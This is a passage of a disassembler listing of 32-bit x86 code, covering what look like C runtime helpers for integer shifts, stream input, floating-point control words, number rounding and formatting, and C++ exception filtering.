		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB


loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx


loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax


loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax


loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax


loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8


loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4


loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2


loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1


loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h


loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1


loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------


loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h


loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax


loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4


loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8


loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h


loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h


loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2


loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4


loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------


loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx


loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]


loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8


loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]


loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208


loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]


loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------


loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx


loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2


loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx


loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h


loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------


loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------


loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx


loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax


loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------


loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D358
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D370
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------


loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx


loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]


loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8


loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------


loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]


loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h


loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBB50
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DBB78, eax
		add	esp, 18h
		movsx	eax, byte_4DBB52
		mov	dword_4DBB70, eax
		pop	edi
		movsx	eax, word_4DBB50
		mov	dword_4DBB74, eax
		mov	dword_4DBB7C, offset dword_4DBB54
		mov	eax, offset dword_4DBB70
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------


loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------


loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043CF98o
					; ___:0043D7F8o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------


loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DBB80
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DBB80
		jmp	short loc_42474E
; ---------------------------------------------------------------------------


loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax


loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1DB8A3E8h], dl
		add	ah, byte ptr dword_4DBB80[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4DBB8035h, 91E89000h, 0C3021DB8h

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 25F0BCEh
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi


loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2890921h
